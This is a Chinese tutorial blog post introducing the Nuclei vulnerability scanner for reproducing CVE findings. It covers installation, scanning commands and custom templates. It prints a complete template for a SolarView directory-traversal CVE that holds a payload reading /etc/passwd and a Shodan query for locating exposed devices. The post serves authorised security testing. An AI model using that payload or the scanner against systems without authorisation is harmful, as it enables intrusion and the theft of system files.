POC模拟攻击利器 —— Nuclei入门（一）

引入Nuclei的缘由

使用dependency check 发现的问题，需要研发人员修复，研发人员要求复现问题！这个的确有难度不仅仅要了解cve 相关bug的具体含义，还要模拟攻击，对于测试人员显然要求过高！凭借自己多年的各种测试工具调研经验，直觉告诉自己，应该有类似的工具，经过各种技术调研选择了Nuclei。使用Nuclei主要对cve相关问题进行模拟，另外并不是所有的cve问题该工具都能模拟，建议大家使用前可以自行查看需要验证的cve问题是否在nuclei的template中，如果不在，还需要自行创建。

Nuclei基础

Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发，具有很强的可配置性、可扩展性和易用性。Nuclei使用零误报的定制模板向目标发送请求，同时可以对大量主机进行快速扫描。Nuclei提供 dns, file, http, headless, network, workflow, ssl, websocket, whois等协议的扫描，通过强大且灵活的模板，可以使用Nuclei模拟各种安全检查。

Nuclei安装

首先安装go环境（go1.17以上版本）

下载对应平台的安装包，默认安装即可，本文默认安装windows版本

https://github.com/projectdiscovery/nuclei/releases

Nuclei基础使用介绍

原理：根据yaml模板中的内容模拟攻击请求，然后根据响应结果来判断系统中是否存在漏洞。内置yaml文件路径如下：（本文只关注cve相关漏洞）

上图中一个yaml文件其实就模拟了一个攻击请求，以CVE-2022-29298.yaml为例，文件内如如下：

id: CVE-2022-29298
info:
name: SolarView Compact 6.00 - Directory Traversal
author: ritikchaddha
severity: high
description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal.
reference:
- https://www.exploit-db.com/exploits/50950
- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
- https://nvd.nist.gov/vuln/detail/CVE-2022-29298
- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-29298
cwe-id: CWE-22
metadata:
shodan-query: http.html:"SolarView Compact"
verified: "true"
tags: cve,cve2022,lfi,solarview
requests:
- method: GET
path:
- "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200

我们可以重点关注以下字段:

severity表示这个cve漏洞的级别

tags,表示这个漏洞被定义的标签，cve表示在命令行中输入cve标签时会执行该yaml

requests，表示要模拟的请求，关于method: GET、path"{{BaseURL}} "、就不详细讲解了，他们与http协议中定义的内容一致。

Matchers，简单的说就是用于对请求响应的校验，上述代码中校验了响应中的两项内容：

通过正则方式- type: regex校验响应body里是否有满足正则表达式- "root:.*:0:0:"的内容

校验响应的状态码- type: status 是否是200。

这两项校验内容是与的关系，matchers-condition: and（默认是or），关于更多的matcher相关知识我会加后面的文章中提及。

关于编写http请求的详细规则请参考

https://nuclei.projectdiscovery.io/templating-guide/protocols/http/

具体template编写语法请参考

https://github.com/projectdiscovery/nuclei/blob/master/SYNTAX-REFERENCE.md

备注：从v2.5.2开始，nuclei在运行时会自动更新template

注意：这里有的同学可能要问下面的语法形式是什么意思呢？

- type: status
status:
- 200

这是yaml语法，大家可以自行百度之！

Nuclei常用命令

Nuclei帮助文档

nuclei –h

这里就不再详细介绍了，自行查看即可。其他常用命令如下：

1.对url https://example.com，进行cve规则的检测（通过tags cve），检测的漏洞级别是critical和high，作者是geeknik

nuclei -u https://example.com -tags cve -severity critical,high -author geeknik -o result.txt

2.对url https://example.com， 控制台输出统计结果-stats，检测的漏洞级别是critical和high，并把结果输出到result2.json（推荐，json形式的报告统计信息非常详细）

nuclei -u https://example.com -stats -severity critical,high -o result2.json -json -irr

3.对url https://example.com，进行模板CVE-2022-1439.yaml的检测，详细打印请求信息和响应信息（-debug）

nuclei -debug -u https://example.com -t \cves\2022\CVE-2022-1439.yaml

4.nuclei也支持对不同的url进行扫描，定义一个txt文件，然后里面保存需要扫描的url，具体使用如下：

nuclei -list urls.txt

urls.txt包括的内容如下：

http://example.com

http://app.example.com

http://test.example.com

http://uat.example.com

5.如果想把结果以不同格式输出，参考如下：

#输出结果为JSON格式

nuclei -u https://example.com -json

#输出结果保存到Markdown格式文件

nuclei -u https://example.com -me result

更多输出结果，请参考nuclei –h 的OUTPUT字段，内容如下：

OUTPUT:
-o, -output string output file to write found issues/vulnerabilities
-sresp, -store-resp store all request/response passed through nuclei to output directory
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
-silent display findings only
-nc, -no-color disable output content coloring (ANSI escape codes)
-json write output in JSONL(ines) format
-irr, -include-rr include request/response pairs in the JSONL output (for findings only)
-nm, -no-meta disable printing result metadata in cli output
-nts, -no-timestamp disable printing timestamp in cli output
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
-ms, -matcher-status display match failure status
-me, -markdown-export string directory to export results in markdown format
-se, -sarif-export string file to export results in SARIF format

自定义检测模板

Nuclei支持自定义编写YAML语法模板，您可以工具自己的需求编写自己的检测模板。

例如定义模板mytemplate.yaml，内容如下：

id: basic-example

info:
name: Test HTTP Template
author: pdteam
severity: info

requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "This is test matcher text"

调用时，执行如下命令即可：

nuclei -u https://example.com -t mytemplate.yaml

nuclei使用总结

• 首先确认要扫描的接口（http，url），这点没有appscan，zap工具方便，他们可以主动探索攻击；
• 然后确认要扫描的规则，即确认yaml文件（根据tag选择想检测的内容，例如：cve、panel、lfi、xss等等），我们可以使用nuclei自带的yaml，也可以自定义yaml，为了提升扫描效率我们还可以自定义workflows，这个话题会在后面的文章中提及；
• 最后就是通过命令运行脚本并生成测试报告。